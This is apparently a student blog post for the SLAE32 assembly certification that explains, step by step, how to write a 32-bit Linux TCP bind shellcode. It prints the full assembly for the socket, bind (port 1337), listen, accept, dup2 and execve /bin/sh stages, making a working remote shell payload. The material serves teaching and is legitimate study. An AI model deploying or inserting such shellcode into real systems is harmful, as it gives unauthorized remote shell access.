SLAE32 Assignment #1
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-1372
This is the first of seven assignments in order to complete the SLAE (32bit) certification.
The main goal of the first assignment is to creat a TCP bind shellcode where:
- It must bind to a local port
- It must execute shell on incoming connections
- The port must be easily configurable
In order to achieve the goal we must split the task into multiple syscalls:
- Create the Socket
- Bind the Socket to address and port
- Listen for incoming connections
- Accept new connections
- Redirect the stdin, stdout and stderr via dup2
- Finally, call execve with /bin/sh
To get the syscalls it was used the file /usr/include/i386-linux-gnu/asm/unistd_32.h.
In order to create the socket it must be used the syscall number 102 (socketcall). Looking into the manual page of the socketcall was found that is a function that expects 2 arguments: - int call (determines which socket function to invoke) - unsigned long *args (points to a block containing the actual arguments)
The call function we need to use is the SYS_SOCKET. This function will create an endpoint for communication and returns a file descriptor. Looking into /usr/include/linux/net.h we found out that SYS_SOCKET = 1.
Now that we know the function lets look into the socket function itself. It takes 3 arguments: - int domain (specifies a communication domain) - int type (specifies the communication semantics) - int protocol (specifies a particular protocol)
At this point we know that we want the domain to be AF_INET (IPv4 Internet protocol), the type to be SOCK_STREAM and finally the protocol to have the value 0.
The value of AF_INET is 2 and the value of SOCK_STREAM is 1.
The following code shows what was said before
; Create Socket ; eax = 102, ebx = 1, ecx = args array struct, stack [0,1,2] xor eax, eax ; reseting the register mov al, 0x66 ; syscall 102 (socketcall) xor ebx, ebx ; reseting the register push ebx ; 0 (protocol) inc ebx ; ebx = 1 push ebx ; 1 (SOCK_STREAM) push 0x2 ; 2 (AF_INET) mov ecx, esp ; ecx = args array struct int 0x80 ; syscall
Bind the Socket
Now that we created the socket the next step is to bind it to an adress (0.0.0.0) and a port 1337. To do that we will use the SYS_BIND function. Bind takes 3 arguments: - int sockfd (file descriptor) - const struct sockaddr *addr (structure) - socklen_t addrlen (address length)
Sockaddr contains: -sin_family (Address family) -sin_port (Port number) -sin_addr (Address)
The first part will be the creation of the sockaddr, so for that it will be pushed 0 into the stack (address = 0.0.0.0), then port 1337 (0x539) and finally the AF_INET (value 2). At this point we need to move the address of the sockaddr into ecx. Now we need to push the bind function into the stack, to do that we start by pushing 16 (address length) into the stack. After this we push the sockaddr address and finally the file descriptor.
;Bind Socket xchg edi, eax ; save the file descriptor for future use xor eax, eax ; reseting the register push eax ; 0 (0.0.0.0) push word 0x3905; 1337 inc ebx ; ebx = 2 (AF_INET+SYS_BIND) push bx mov ecx, esp ; ecx = args array struct mov al, 0x66 ; syscall 102 (socketcall) push byte 0x10 ; addrlen push ecx ; sockaddr push edi ; fd mov ecx, esp ; ecx = args array struct for the syscall int 0x80 ; syscall
Listen incoming connections
To get our socket to listen to incoming connections we need use the function SYS_LISTEN. The value of SYS_LISTEN is 4. The SYS_LISTEN function just takes 2 arguments, the file descriptor (sockfd) and a backlog argument, that defines the maximum length to which the queue of pending connections for sockfd may grow. In this case will take the value 0.
;Listen for Incoming connections ; eax = 102, ebx = , stack[esi,0] xor eax, eax ; reseting the register push eax ; 0 (backlog) push edi ; sockfd mov al, 0x66 ; syscall 102 (socketcall) mov bl, 0x4 ; SYS_LISTEN mov ecx, esp ; ecx = args array struct for the syscall int 0x80 ; syscall
Accept new connections
To force the socket to accept connections we must use the SYS_ACCEPT. The SYS_ACCEPT is 5.
The SYS_ACCEPT function receives 3 arguments: - int sockfd (file descriptor) - struct sockaddr *addr (NULL) - socklen_t *addrlen (NULL)
The first argument is file descriptor, the remaining are pointers addr and addrlen which will set to NULL.
;Accept connections xor eax, eax ; reseting the register push eax ; NULL push eax ; NULL push edi ; sockfd mov al, 0x66 ; syscall 102 (socketcall) inc ebx ; ebx = 5 SYS_ACCEPT mov ecx, esp ; ecx = args array struct for the syscall int 0x80 ; syscall
Redirect the stdin, stdout and stderr via dup2
In order to redirect the stdin, stdout and stderr it will be used the function SYS_DUP2. This function takes just 2 arguments, the old file descriptor and the new one. In order to do it we need to set the eax with the value 63 (0x3f) ebx with the old file descriptor and ecx with the new one.
xchg ebx, eax ; put the file descriptor in ebx xor ecx, ecx ; reseting the register mov cl, 0x2 ; set the counter loop: mov al, 0x3f ; syscall 63 (dup2) int 0x80 ; syscall dec ecx ; decrement counter jns loop
Call execve with /bin/sh
Now that all the redirects are working as it should is time to use SYS_EXECVE to execute /bin/sh. Execve takes 3 arguments a pointer to the filename that we want to execute, argv is an array of argument strings passed to the new program and envp is an array of strings that is passed as environment to the new program.
;execve /bin/sh xor eax, eax ; reseting the register push eax ; string terminator push 0x68732f6e ; hs/n ; hs/n push 0x69622f2f ; ib// ; ib// mov ebx, esp ; ebx = //bin/sh push eax push ebx mov ecx,esp ; argv = [filename,0] mov edx, eax ; envp = 0 mov al, 0xb ; syscall 12 (execve) int 0x80 ; syscall
Now we can assemble, link. After execute our binary we will see that we have a service running on port 1337. After connecting into it we got a shell.
To finish this assignment we are just missing the port to be easily configurable. After disassembling the binary we found the hard-coded port 1337 (pushw 0x3905).
In order to be easily configurable we need to replace 0x3905 for the output of the user. To do that was created a python script that concatenate all the bytes prior to the port with a new port bytes followed by the rest of the shellcode.
The Python script takes 1 argument. The argument is the port, if is null free the shellcode will also be null free.
All the code can be found in my github